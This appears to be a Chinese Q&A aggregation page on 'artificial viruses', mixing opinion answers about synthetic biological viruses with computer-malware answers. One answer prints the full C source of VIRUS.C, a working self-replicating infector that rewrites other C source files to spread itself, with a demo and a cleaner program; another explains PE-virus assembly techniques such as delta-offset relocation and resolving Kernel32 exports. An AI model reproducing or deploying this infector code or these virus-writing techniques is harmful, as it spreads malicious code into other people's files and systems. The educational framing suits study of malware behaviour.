当前位置:首页 » 编程软件 » 人工编译病毒

人工编译病毒

发布时间: 2022-05-29 06:46:16

⑴ 人工合成病毒的危害

个人认为,人工合成病毒是一件很危险的事。
因为经历了这么长的人类历史,每个人都应该明白疾病给人们带来了多大的损失
。从鼠疫到天花,从2003年的SARS再到前几年的禽流感,人类谈“毒”色变。病毒虽然结构简单,但也是很聪明的,因为病毒会变异。人工合成病毒的初衷也许是为人类造福,使人类摆脱病毒的威胁,但或许因为某个疏忽,原本的“福星”却可以变成灾祸之首。科学需要严谨的态度,因为一着不慎,满盘皆输..不,不仅仅是输,甚至会导致毁灭。无论再怎么谨慎,百密必有一疏,当已经造成不可挽回的后果时,后悔就已经太迟了。
第二,大自然有自己的法则,人类过多的干预会破坏自然的平衡,同样可能造成不可预料的后果。相信都听说过狼和鹿的故事,有狼这个敌人,鹿才会不断地锻炼,才能保持种群的生命力,而如果人类刻意去捕杀狼,鹿则没有了对手,反而瘟疫蔓延...这个故事或许也人造病毒没多大关系,但显示了自然的法则。所以人为的大量干涉必将影响到自然和生态,必须引起重视。人工合成病毒相当于是创造新的物种,但这物种会造成什么样的结果呢?很可能打破自然界的生物链,破坏生态平衡。(就算病毒只是密封在实验室里也总有流失的危险性吧)
第三,人工合成病毒具有不可预知的潜力和危害,一旦被居心不轨的人利用(比如恐怖分子之类的..)可能使世界陷入恐怖危机。很多电影上都是恐怖分子用病毒来危险世界的(比如〈谍中谍2〉,这是我最近看的,还有很多的),虽然暂时都只是虚幻的情节,但也是给我们的警醒。
这就是我的意见。

P.S.最近看了一部电影I Am Legend(〈我是传奇〉或〈末日传奇〉)片中就是因为对麻疹病毒的改造不利,造成了很大的悲剧。科学技术是用来造福人类的,但也是把双刃剑,必须慎之又慎。

⑵ 怎样编写病毒

3.1.1病毒程序VIRUS.C
这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:
当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则
(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。
(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。
(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。
(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。
其中用到4个出错的返回值,分别是:
1:用户文件太大,不传染;
2:带病毒文件打不开,不传染;
3:带病毒文件读取不成功,不传染;
4:查找第一个匹配文件不成功。
如果返回值是0代表文件传染成功。
具体实现过程如下:
其中用到的函数和结构体用法参考3.3节。
首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。
然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。
如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。
如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。
然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。
这点是这样实现的:定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,不进行插入。找出CALL VIRUSES;的插入点:如果有一行有printf、break、for、while语句其中之一,就对其后插入调用VIRUSES函数的调用语句。把病毒子程序写入文件。最后处理更改被感染的文件名。如果不进行改名,就不能进行多次传染,也就是说不能体现病毒的自我复制能力。查找一行是static char viruses_f[]=,把其中的文件名改为被感染的文件名。接着查找下一个匹配文件。
3.1.2病毒清除程序REVIURS.C
病毒的清除过程是和传染过程相逆的。传染的时候插入调用viruses函数的调用语句,在病毒清除文件里面就要删除掉这个语句。然后还要删除掉病毒子程序VIURSES_SUB和VIURSES。有一个问题不能进行还原。因为当时插入病毒子程序需要的头文件时没有记录传染前文件的头文件信息,所以不能进行还原。但是这一点不影响原文件。所以这点在病毒清除程序中没有进行处理。
由于演示的时候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一个目录下进行演示。考虑到VIRUS.C会把REVIURS.C传染和REVIRUS.C会把VIRUS.C清除两种情况。所以编写这两个程序的时候必须加入一条条件语句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。
当含有清除部分的程序被执行时。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果无此标志,继续找其它的C文件,直至全部检查一遍。若有这个标志,则
(1)查找磁盘文件,如果是有病毒的传染标志“INFECTED”则打开文件。如果没有则关闭文件并且寻找下一个TEST*.C。
(2)读取文件,首先判断是否为Viruses();如果不是则判断是否为int Viruses_sub(),如果都不是,则把读取部分放在二维数组a[500][80]中,如果只是为int Viruses_sub(),则读取文件结束。
(3)关闭文件,然后删除该文件。
(4)创建一个跟删除文件相同名字的文件。然后打开。
(5)把二维数组a[500][80]中的数据写入到新建的文件中。关闭文件,读取下一个文件。

3.2 程序流程图
3.2.1 病毒程序VIRUS.C流程图

N
N
Y Y





Y
N

3.2.2 解毒程序REVIRUS.C流程图

N

Y




Y

N
Y

N

3.3其中用到的函数和结构体的说明:
(1)结构体struct ffblk (在dir.h中)类型变量
变量ffblk用于打开文件,获取返回值。
Struct ffblk
{char ff_reserved[21];
char ff_attrib;
unsigned ff_ftime;
unsigned ff_fdate;
long ff_fize;
char ff_name[13];
};
程序中只用到ff_name来保存匹配文件名。
(2)结构体struct date(在dos.h中)变量
struct date
{int da_year; /* Year-1980 */
char da_day; /* Day of the month */
char da_mon; /* Month (1=Jan) */
};
程序中用来获取系统当前日期。具体用法为:
void getdate (struct date *datep);
(3)查找匹配文件
findfirst()函数和findnext()函数
调用方式:整型数=findfirst(文件名,&结构变量名,属性常数组合(如0×24));
功能:检索由path和attr指定的文件,把结果返回到afer。
Findfirst返回关于第一个指定文件的信息。
Findnext继续检索。
返回值:0(检索成功),-1(没有找到指定的文件)
属性常数:
FA_NORMAL(0*00) 含意:Normal file, no attributes
FA_RDONLY (0*01) 含意:只读
FA_HIDDEN(0*02) 含意:隐含文件
FA_SYSTEM(0*24) 含意:系统文件
需要用到的头文件: dir.h
程序中的匹配文件属于普通文件,所以属性常数为0。
(4)读文件
函数原形:char *fgets (char *a, int n, FILE *fp);
功能:
从fp指向的文件读取一个长度为(n-1)的字符串,最后加一个’ \0’,存入始地址为a的空间。
若在读完n-1个字符之前遇到换行符或EOF,读入即结束。
返回值:返回地址a。
若遇文件结束或出错,返回NULL。
(5)在字符串中查找指定字符串的第一次出现
函数原形;
char *strstr(char *str1,char *str2);
功能:找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)。
返回值:返回该位置的指针。
若找不到,返回NULL指针。
程序中用这个函数来判断字符串是否一致。
(6)改变文件位置指针
函数原形:int fseek (FILE *fp, long offset, int base);
功能:将fp所指文件的位置指针移到以base所指出的位置为基准、以offset为位移量的位置。
返回值:返回当前位置。否则,返回-1。SEEK_SET为文件开始。
由于读取文件的时候文件指针要发生变化。而重新执行一条命令的时候需要重新定位文件指针的位置,所以要用到fseek函数。程序中用这个函数定位到文件头,对文件进行重新读取。
3.4 程序清单
3.4.1病毒程序VIRUS.C程序清单如下:
/*INFECTED*/
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
viruses();
}
int viruses_sub()
{
struct ffblk ffblk;
int done,i,j,k,n_line;
FILE *virus_r,*virus_v;
/*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/
char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/
static char viruses_f[]=;/*文件被传染后,修改该值为自身文件名*/
int include_write;
int virus_call=0;
int virus_start=0;
char *main_flag[]=;
char *include_h[]=;
char *v_flag[]=;
struct date today;
/*VIRUSES DISPLAY*/
getdate(&today); /*病毒显示日期信息*/
printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);
/*AFFECT VIRUSES*/
done=findfirst("*.c",&ffblk,0); /*查找第一个匹配文件*/
while(!done)
{
if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)
{
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
{
p1=fgets(&a[0][0],80,virus_r);
if(strstr(p1,v_flag[0])==NULL)
{
n_line=0; /*把文件全部读入a[500][80]*/
while(p1!=NULL)
{
n_line++;
p1=fgets(&a[n_line][0],80,virus_r);
if(n_line>=500)
{
fclose(virus_r);
return(1);
}
}
fseek(virus_r,0,SEEK_SET);
virus_v=fopen(&viruses_f[0],"r"); /*打开带病毒的文件*/
if(virus_v==NULL)
{
fclose(virus_r);
return(2);
}
for(i=1;i<5;i++) /*读带病毒文件前4行并写入将被传染的文件*/
{
p2=fgets(b,80,virus_v);
if(p2==NULL)
{
fclose(virus_r);
fclose(virus_v);
return(3);
}
fputs(b,virus_r);
}
for(j=0;j<n_line;j++) /*把将被传染文件的原程序写回原文件*/
{
include_write=1; /*不写入病毒文件已有的包含语句*/
if(strstr(&a[j][0],"#include")!=NULL)
for(i=0;i<3;i++)
if(strstr(&a[j][0],include_h[i])!=NULL)
include_write=-1;
if(virus_call==0) /*插入调用语句,并加上回车换行*/
for(i=0;i<4;i++)
if(strstr(&a[j][0],main_flag[i])!=NULL)
{
for(k=0;k<80;k++)
b[k]=0;
strcpy(&b[0],"viruses();");
b[10]=13;
b[11]=10;
fputs(b,virus_r);virus_call=1;
i=4;
}
if(include_write==1)fputs(&a[j][0],virus_r);
}
p1=fgets(b,80,virus_v); /*把病毒子程序写入文件*/
while(p1!=NULL)
{
if(virus_start==0) /*找病毒子程序的第一条语句*/
if(strstr(p1,"int viruses_sub()")!=NULL)
virus_start=1;
if(virus_start==1)
{
if(strstr(p1,"char")!=NULL)
if(strstr(p1,"viruses_f[]=")!=NULL)
{
strcpy(&b[29],ffblk.ff_name);
i=strlen(&b[0]);
b[i]=34;
strcpy(&b[i+1],");");
b[i+3]=13;
b[i+4]=10;
}
fputs(b,virus_r);
}
p1=fgets(b,80,virus_v);
}
fclose(virus_v);
fclose(virus_r);
return(0);
}
fclose(virus_r);
}
}
done=findnext(&ffblk);
}
return(4);
}

viruses()
{
int num;
num=viruses_sub();
switch (num)
{
case 0 : printf("successful\n");
break;
case 1: printf("the file is outof line\n");
break;
case 2 : printf("the viruses file cannot open\n");
break;
case 3 : printf("cannot read viruses file\n");
break;
case 4: printf("cannot find file\n");
}
getch();
}

3.4.2病毒清除程序REVIURS.C清单如下:
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
struct ffblk ffblk;
int done,i,j,line,k;
static int n_line;
FILE *virus_r,*virus_v;
char a[500][80],b[80],*p;
char *v_flag[]=;
done=findfirst("*.c",&ffblk,0);
while(!done)
{
if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)
{
for(k=0;k<500;k++)
for(j=0;j<80;j++)
a[k][j]=0;
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
{
p=fgets(&b[0],80,virus_r);

if(strstr(p,v_flag[0])!=NULL)
{
line=0;
while(p!=NULL)
{
p=fgets(&b[0],80,virus_r);
if(strstr(&b[0],"int viruses_sub()")!=NULL)
break;
else if(strstr(&b[0],"viruses();")==NULL)
{
k=strlen(b);
for(j=0;j<k;j++)
a[line][j]=b[j];
a[line][j+1]=0;
line++;
}
}
n_line=line;
fclose(virus_r);
remove(ffblk.ff_name); /*删除文件*/
virus_r=fopen(ffblk.ff_name,"w+"); /*打开将被感染的文件*/
for(i=0;i<n_line;i++)
{
fputs(&a[i][0],virus_r); /*把二维数组中的数据写入原文件*/
}
fclose(virus_r);
}
}
}
done=findnext(&ffblk); /*查找下一个匹配文件*/
}

}

4. 计算机病毒的演示
4.1病毒程序VIRUS.C的演示过程
在一张已经格式化的软盘上,除了病毒源程序VIRUS.C和REVIRUS.C外,还有两个尚未被感染的C语言程序TEST1.C和TEST2.C。原始代码分别如下:
TEST1.C:
#include "stdio.h"
main()
{
int i,sum;
for(i=1;i<100;i++)
sum=sum+i;
printf("sum=%d\n",sum);
}
TEST2.C
#include "stdio.h"
main()
{
printf("hello,world!\n");
}
在命令提示符下键入dir命令查看文件信息。

然后编译连接并执行VIRUS.C文件,运行结果显示:
Today is 5/20/2004
Successful
说明传染成功。再用dir命令查看文件信息

可以看到TEST2.C文件已经被传染,大小从64变成3949。用type命令查看TEST1的内容

可以看到病毒的子程序已经插入了,而且在主函数里面插入了调用VIRUSES函数语句。而且文件名自动改为“TEST2.C”。(如图中红线所示)
然后再把TEST2.C文件编译连接并运行。成功后,再用dir命令查看文件信息

可以看到TEST1.C也被感染了,大小从107变成了3969。再用type命令查看,结果如下:

可以看到,文件名称已经自动改为TEST1.C,而且病毒子程序已经拷贝过来,在这个过程中REVIRUS.C始终没有被感染,达到了我们的目的。
文件被感染前后内容如下图所示:

4.2病毒清除程序REVIRUS.C演示过程
然后我们来演示病毒的清除。编译运行REVIRUS.C后用dir命令查看文件信息。

图中可以看到TEST1.C和TEST2.C都变小了。虽然没有还原到以前的大小。这是因为运行病毒子程序需要的头文件没有删除,原因前面已经提及过了。然后用type命令分别查看一下TEST1.C和TEST2.C的内容。

图中可以看到,除了程序需要用到的头文件,剩下的已经基本还原。而且没有清除VIRUS.C里面的程序,基本达到了清除病毒的目的。演示成功。
从演示过程中可以看出,一旦程序被病毒感染,这个程序经过编译连接后运行时就能向没感染上病毒的程序扩散病毒,使病毒在系统中不断蔓延下去。而病毒清除程序运行一次就可以删除掉所有的病毒子程序和插入的调用语句。

⑶ 为什么大多数人用汇编写病毒,很少人用Java写病毒啊

一方面是因为汇编编译后的代码短小精悍,可以充分进行人工优化,以满足隐蔽性的要求;另外一方面之所以用汇编是因为其灵活和可控,病毒要同系统底层有时甚至是硬件打交道,由于编译器的特点不尽相同,用高级语言实现某些功能甚至会更加麻烦,比如用汇编很方便地就可以直接进行自身重定位、自身代码修改以及读写IO 端口等操作,而用高级语言实现则相对烦琐。用汇编还可以充分利用底层硬件支持的各种特性,限制非常少。而且Java不可能写病毒,原因前几位已近说了

⑷ 人工合成病毒的研究,应该肯定还是应该否定为什么

不能简单地说肯定还是否定,科技是把双刃剑,有其利亦有其弊。

人工合成病毒有助于人类了解病毒的结构原理,甚至掌握该项技术,其前途是不可估量,但任何一样科技都有可能被滥用,甚至用于战争,但只要防范得当,用在对人类有益的方面上,譬如为人类或动物做防疫疫苗,做杀虫剂,给人类研究这病毒的发展,病毒的变种等方面还是一件好事。

1、对于基因工程、细胞工程等高科技领域,病毒是进行科学研究的必要工具,这时候人工合成病毒的研究能够为人类造福。

2、在战争领域,人工合成病毒属于生化武器,应该严格的禁止。

(4)人工编译病毒扩展阅读:

人工合成病毒不能叫做人工制造了生命。

病毒没有自己的代谢机构,没有酶系统。因此病毒离开了宿主细胞,就成了没有任何生命活动、也不能独立自我繁殖的化学物质。最基本的生命系统是细胞,而病毒不具有细胞结构,所以虽然病毒是生物,但是病毒独立存在时没有生命活动,人工合成病毒不可以叫做人工制造了生命。

⑸ 电脑病毒是不是百分之百都是人为制造的

一.计算机病毒是一种人为制造的、隐藏在计算机系统的数据资源中的、能够自我复制进行传播的程序。
特点:
?1、寄生性
2、隐蔽性
3、非法性
4、传染性
5、破坏性
6、潜伏性
7、可触发性
危害:
病毒激发对计算机数据信息的直接破坏作
占用磁盘空间和对信息的破坏寄生在磁盘上的病毒总要非法占用一部分磁盘空间。
抢占系统资源
影响计算机运行速度
计算机病毒错误与不可预见的危害
计算机病毒的兼容性对系统运行的影响
计算机病毒给用户造成严重的心理压力
二.我知道网虫病毒,女鬼病毒,CIH病毒
传播途径:1、不可移动的计算机硬件设备
??? ?这些设备通常有计算机的专用ASIC芯片和硬盘等。这种病毒虽然极少,但破坏力却极强,目前尚没有较好的检测手段对付。
????2、移动存储设备
???? 可移动式磁盘包括软盘、CD-ROM(光盘)、磁带、优盘等其中软盘是使用广泛、移动频繁的存储介质,因此也成了计算机病毒寄生的“温床”。盗版光盘上的软件和游戏及非法拷贝也是目前传播计算机病毒主要途径之一。随着大容量可移动存储设备如Zip盘、可擦写光盘、磁光盘(MO)等的普遍使用,这些存储介质也将成为计算机病毒寄生的场所。
???? 硬盘是现在数据的主要存储介质,因此也是计算机病毒感染的重灾区。硬盘传播计算机病毒的途径体现在:硬盘向软盘上复制带毒文件,带毒情况下格式化软盘,向光盘上刻录带毒文件,硬盘之间的数据复制,以及将带毒文件发送至其他地方等。在移动存储设备中,软盘是使用最广泛移动最频繁的存储介质,因此也成了计算机病毒寄生的“温床”。
????3、计算机网络
???? 现代信息技术的巨大进步已使空间距离不再遥远,“相隔天涯,如在咫尺”,但也为计算机病毒的传播提供了新的“高速公路”。计算机病毒可以附着在正常文件中通过网络进入一个又一个系统,国内计算机感染一种“进口”病毒已不再是什么大惊小怪的事了。在我们信息国际化的同时,我们的病毒也在国际化。
???? 4、点对点通信系统和无线通道
???? 目前,这种传播途径还不是十分广泛,但预计在未来的信息时代,这种途径很可能与网络传播途径成为病毒扩散的两大“时尚渠道”。

⑹ 每一个计算机病毒都是人编的吗

不一定··可以用工具来生成,然后在加壳,菜鸟长用的手法···高深一点的生成以后可以自己改写加壳,绕过杀毒软件起到免杀效果

⑺ 电脑病毒都是什么人制作的目的是什么

是那些所谓的'高手'做的
他们编译电脑病毒当然是有各种不同的目的的
比如,若干年前一所大学的一名学生为炫耀自己,编译了CIH病毒
等等......
反正目的就是以下几点
1.炫耀(通常是那些不怎么厉害的病毒)
2.为了经济利益(比如上回有个中学生利用电脑病毒,差点盗走了比尔改茨的存在银行的举款)
3.恶作剧
4.好玩
5.陷害他人
6.为了盗取机密或重要文件
基本上就是这些了,希望你能满意

⑻ 人工合成病毒的研究,应该肯定还是否定,不应该完全肯定对吧,那否定的理由有哪些呢

1、合成了未知的,无法控制的病毒,那是灾难性的。
2、就算是可控制的,万一事故导致病毒在外界传播,将打破生态平衡。
3、就算是合理的使用了合成的病毒,但它的基因可能外流,导致其他生物产生变异。
4、被坏人用在战争或其他威胁人类自身安危的地方。
……

⑼ 天然病毒是生命 人工合成病毒就不是生命

天然病毒不像其他生物一样具有细胞结构,只有蛋白质外壳和遗传物质,疯牛病病毒甚至连遗传物质也没有(成为朊病毒),但是生物学把他归为特殊的病毒界。按照目前水平,人工大都合成病毒只是把遗传物质注入另一类蛋白质外壳中,它若能进入寄主细胞内繁殖后代,生物学上也归作生物。计算机病毒是不是生物,它可以自主繁殖(复制)、生长发育(“吃掉”东西不断变大),但是貌似不能新陈代谢?所以,一切教科书中都称,计算机病毒不是生物,它只是人工编译的一段代码。关于病毒分类的知识,我是在初中科学竞赛中学到的。

⑽ 怎么编程病毒

搂主`你多C语言懂多少呀?通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp 包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:

;ebp 包含了delta offset 值
401000:
mov eax,dword ptr [ebp+0x402035]
......
402035:
db "hello world!",0
在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:

call delta
delta:
pop ebp
sub ebp,offset delta
在运行时就动态计算出了delta offset 值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp 执行完毕后ebp 中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset 的值。除了用明显的call 指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv 为例,该指令将最后执行的一条FPU 指令相关的协处理器的信息保存在指定的内存中fpu_addr:
fnop
call GetPhAddr
sub ebp,fpu_addr
GetPhAddr:
sub esp,16
fnstenv [esp-12]
pop ebp
add esp,12
ret
delta offset 也不一定非要放在ebp 中,只不过是ebp 作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset 保存在ebp 中,其实用其他寄存器也完全可以。

在优化过的病毒代码中并不经常直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的代码:

call _start_ip
_start_ip:
pop ebp
;...
;使用
call [ebp+addrOpenProcess-_start_ip]
;...
addrOpenProcess dd 0
;而不是
call _start_ip
_start_ip:
pop ebp
sub ebp,_start_ip
call [ebp+addrOpenProcess]
为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4 个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。

API 函数地址的获取

在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API 的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。

Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows 版本之间该API 的地址并不完全相同,使用该方法的病毒可能只能在Windows 2000的某个版本上运行。

因此病毒作者自然而然地回到PE结构上来探求解决方法,我们知道系统加载PE 文件的时候,可以将其引入的特定DLL 中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:

A)在感染PE 文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API 的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API 的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API 函数地址填好了,病毒代码即可正确地直接调用该函数。

B)系统可以解析DLL 的导出表,自然病毒也可以通过这种手段从DLL 中获取所需要的API地址。要在运行时解析搜索DLL 的导出表,必须首先获取DLL 在内存中的真实加载地址,只有这样才能解析从PE 的头部信息中找到导出表的位置。应该首先解析哪个DLL 呢?我们知道Kernel32.DLL几乎在所有的Win32 进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary 和GetProcAddress 两个API可以获取任意DLL 中导出的任意函数,在迄今为止的所有Windows 平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL 的导出表获取常用的API 地址,如需要可进一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 两个API 更简单地获取任意其他DLL 中导出函数的地址并进行调用。

热点内容
门口机sip服务器ip是什么 发布:2024-05-17 17:38:27 浏览:553
光遇安卓区是什么服 发布:2024-05-17 17:22:25 浏览:24
linux驱动开发教程 发布:2024-05-17 17:19:52 浏览:501
抖音中秋节视频脚本 发布:2024-05-17 17:19:51 浏览:194
快递柜为什么用安卓系统 发布:2024-05-17 17:17:18 浏览:907
电脑配置光纤接口怎么标注 发布:2024-05-17 17:06:56 浏览:977
如何用方向键控制安卓机 发布:2024-05-17 16:38:11 浏览:199
雨田系统源码 发布:2024-05-17 16:28:06 浏览:587
新手直播脚本 发布:2024-05-17 16:27:25 浏览:848
python双引号单引号 发布:2024-05-17 16:19:31 浏览:949